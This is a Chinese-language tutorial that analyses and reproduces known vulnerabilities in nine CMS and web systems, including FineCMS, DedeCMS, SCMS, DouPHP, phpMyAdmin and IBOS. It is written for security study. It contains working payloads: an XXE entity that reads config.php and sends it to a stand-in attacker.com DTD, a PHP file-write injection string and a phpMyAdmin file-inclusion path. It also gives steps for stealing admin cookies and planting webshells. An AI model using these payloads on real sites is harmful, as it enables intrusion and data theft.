CMS/系统漏洞分析与复现教学文档

一、前言

本文档详细分析多个常见CMS/系统的安全漏洞，包括漏洞原理、审计方法和复现步骤。涵盖的CMS包括FineCMS、DedeCMS、SCMS、DouPHP、UsualtoolCMS、phpMyAdmin、DuomiCMS、IBOS和信呼协同办公系统。

二、FineCMS (v5.3.0) 存储型XSS漏洞

漏洞原理

1. 漏洞位于管理员后台记录错误日志功能
2. \finecms\system\core\Log.php中的write_log方法未对$msg内容进行过滤
3. 调用链：用户输入 → show_404() → log_message() → write_log()

审计方法

1. 追踪write_log方法调用位置：\finecms\system\core\Common.php
2. 查找调用log_message方法的位置：\finecms\system\core\Exceptions.php
3. 最终定位到\finecms\system\core\CodeIgniter.php中的$class和$method传参

复现步骤

1. 构造恶意传参：http://target.com/index.php?c=恶意JS代码
2. 管理员查看错误日志时触发XSS
3. 通过XSS平台获取管理员cookie

三、DedeCMS (v5.7 SP1) CSRF漏洞

漏洞原理

后台"文件式管理器"功能未进行CSRF防护

复现步骤

1. 在后台文件管理器写入小马
2. 使用Burp抓包并生成CSRF POC
3. 精简POC，添加自动提交功能
4. 诱使管理员访问POC页面

四、SCMS (build20190722) XXE实体注入漏洞

漏洞原理

1. /weixin/index.php中未过滤用户提交的XML数据
2. 使用simplexml_load_string()处理php://input获取的POST数据

触发条件

1. signature参数不为空
2. echostr参数必须为空

复现步骤

1. 构造恶意XML：

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=config.php">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&send;</root>

2. 在evil.dtd中定义实体
3. 通过XXE平台接收文件内容
4. 对base64内容解码获取敏感信息

五、DouPHP (v1.5 Release 20190711) 代码执行漏洞

漏洞原理

1. config.php存在双引号二次解析漏洞
2. 需要先删除install.lock文件
3. 后台文件上传功能中的unlink()函数可被利用

复现步骤

1. 通过修改数据库值控制$mobile_logo
2. 使用../跳转删除install.lock
3. 重新安装程序时利用双引号解析执行代码：

${file_put_contents($_REQUEST[6], $_REQUEST[66])}

4. 写入一句话木马

六、UsualtoolCMS(8.0 Release) 验证码绕过与任意文件写入

验证码绕过

1. 直接绕过图片验证码机制

任意文件写入

1. a_templetex.php中的file_put_contents()函数
2. 当x=m时，$filename和$content可控

复现步骤

1. 构造请求直接写入一句话木马

七、phpMyAdmin(4.8.1-all-languages) 任意文件包含

漏洞原理

1. /index.php中target参数可控
2. 绕过条件：
   • target必须赋值且为字符串
   • 不能以index开头
   • 不能为黑名单内的值

复现步骤

1. 构造payload：sql.php%3F/../123.php
2. 在数据库中创建含恶意代码的表
3. 通过文件包含执行代码

八、DuomiCMS(X2.0) 变量覆盖漏洞

漏洞原理

1. common.php中存在变量覆盖
2. 可覆盖$_SESSION伪造管理员身份

复现步骤

1. 构造请求覆盖$_SESSION[duomi_admin_id]
2. 获取管理员session后直接访问后台

九、IBOS(4.5.5 PRO) 命令执行漏洞

漏洞原理

1. /system/core/utils/Database.php中的shell_exec
2. $dumpFile和$backupFileName可控

绕过限制

1. 使用&执行多条命令
2. 使用%变量名:~x,y%绕过.限制

复现步骤

1. 提交备份文件名时注入命令
2. 对&进行URL编码
3. 验证木马是否写入

十、信呼协同办公系统(v1.9.1) 存储型XSS与CGI解析漏洞

存储型XSS

1. 在"待办/处理"模块的"追加说明"中注入JS代码

CGI解析漏洞

1. 在"追加说明"上传图片马
2. 通过CGI解析执行恶意代码

总结

本文档详细分析了9个常见CMS/系统的安全漏洞，包括漏洞原理、审计方法和复现步骤。安全研究人员应重点关注：

1. 未过滤的用户输入
2. 危险函数的使用
3. 权限验证缺失
4. 文件操作安全
5. 会话管理机制

建议开发人员和安全人员参考这些案例，加强代码审计和安全防护。